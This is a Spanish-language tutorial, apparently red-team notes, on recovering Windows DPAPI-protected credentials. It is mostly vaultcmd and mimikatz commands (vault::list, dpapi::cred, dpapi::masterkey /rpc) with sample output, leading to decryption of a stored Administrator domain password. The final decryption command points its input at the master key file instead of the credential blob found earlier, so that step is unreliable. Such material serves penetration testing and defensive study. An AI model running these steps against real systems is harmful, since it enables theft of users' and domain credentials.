DPAPI
Windows DPAPI (Data Protection Application Programming Interface) es una API de Windows que permite a las aplicaciones proteger datos sensibles, como contraseñas, claves criptográficas y otra información privada. DPAPI utiliza claves derivadas de las credenciales del usuario o del sistema para cifrar y descifrar datos.
Credential Manager
Estos son las rutas comunes donde se suelen almacenar la informacion protegida por DPAPI.
C:\Users\$USER\AppData\Local\Microsoft\Credentials\
C:\Users\$USER\AppData\Roaming\Microsoft\Credentials\
Ejemplo:
ls c:\Users\Administrator\AppData\Local\Microsoft\Credentials
Size Type Last Modified Name
---- ---- ------------- ----
10kb fil 02/11/2025 03:00:09 DFBE70A7E5CC19A398EBF1B96859CE5D
Herramientas internas como vaultcmd
puede ser usadas.
run vaultcmd /listcreds:"Windows Credentials" /all
Credentials in vault: Windows Credentials
Credential schema: Windows Domain Password Credential
Resource: Domain:target=Testing
Identity: Administrator
Hidden: No
Roaming: No
Property (schema element id,value): (100,3)
Usando mimikatz.
mimikatz vault::list
Vault : {4bf4c442-9b8a-41a0-b380-dd4a704ddb28}
Name : Web Credentials
Path : C:\Users\Administrator\AppData\Local\Microsoft\Vault\4BF4C442-9B8A-41A0-B380-DD4A704DDB28
Items (0)
Vault : {77bc582b-f0a6-4e15-4e80-61736b6f3b29}
Name : Windows Credentials
Path : C:\Users\Administrator\AppData\Local\Microsoft\Vault
Items (1)
0. (null)
Type : {3e0e35be-1b77-43e7-b873-aed901b6275b}
LastWritten : 3/7/2025 3:52:29 AM
Flags : 00000000
Ressource : [STRING] Domain:target=Testing
Identity : [STRING] Administrator
Authenticator :
PackageSid :
*Authenticator* : [BYTE*]
*** Domain Password ***
Decrypt Credentials
Para decifrar las credenciales es necesario tener la master encryption key. Esta se puede conseguir de la siguiente forma.
Identificamos el guidMasterKey
.
mimikatz dpapi::cred /in:c:\Users\Administrator\AppData\Local\Microsoft\Credentials\DFBE70A7E5CC19A398EBF1B96859CE5D
**BLOB**
dwVersion : 00000001 - 1
guidProvider : {df9d8cd0-1501-11d1-8c7a-00c04fc297eb}
dwMasterKeyVersion : 00000001 - 1
guidMasterKey : {93576abb-7f69-4ee2-9d89-3fb62f05292c}
dwFlags : 20000000 - 536870912 (system ; )
dwDescriptionLen : 00000030 - 48
szDescription : Local Credential Data
algCrypt : 00006610 - 26128 (CALG_AES_256)
dwAlgCryptLen : 00000100 - 256
dwSaltLen : 00000020 - 32
pbSalt : a3fd9abf333dbe172272c1c7036036c163389108de8da69579a031abc274ff23
dwHmacKeyLen : 00000000 - 0
pbHmackKey :
algHash : 0000800e - 32782 (CALG_SHA_512)
dwAlgHashLen : 00000200 - 512
dwHmac2KeyLen : 00000020 - 32
pbHmack2Key : 9f50755404fc29ab6bb1c79c734cd38fba6ee1698ff3db8000fcf40ee1f67755
dwDataLen : 00002a70 - 10864
pbData : 952947f85d2792fb80c812d43fe757f2771501604d7fa75b50....<SNIP>
dwSignLen : 00000040 - 64
pbSign : fd9a049e937600a4
La informacion de la Master Key
esta alamacenada en el directorio AppData\Roaming\Microsoft\Protect
del usuario.
ls C:\Users\Administrator\AppData\Roaming\Microsoft\Protect\S-1-5-21-4154222470-1083007190-209201508-500
Size Type Last Modified Name
---- ---- ------------- ----
468b fil 02/11/2025 03:00:08 93576abb-7f69-4ee2-9d89-3fb62f05292c
24b fil 02/11/2025 03:00:08 Preferred
Como vemos en lo anterior el guidMasterKey
hace match con lo que hay en el directorio anterior. Para obtener el valor realizamos lo siguiente:
mimikatz dpapi::masterkey /in:C:\Users\Administrator\AppData\Roaming\Microsoft\Protect\S-1-5-21-4154222470-1083007190-209201508-500\93576abb-7f69-4ee2-9d89-3fb62f05292c /rpc
Hora utilizamos la key para decifrar el contenido.
mimikatz dpapi::cred /in:C:\Users\Administrator\AppData\Roaming\Microsoft\Protect\S-1-5-21-4154222470-1083007190-209201508-500\93576abb-7f69-4ee2-9d89-3fb62f05292c /masterkey:0c01648946512384....<SNIP>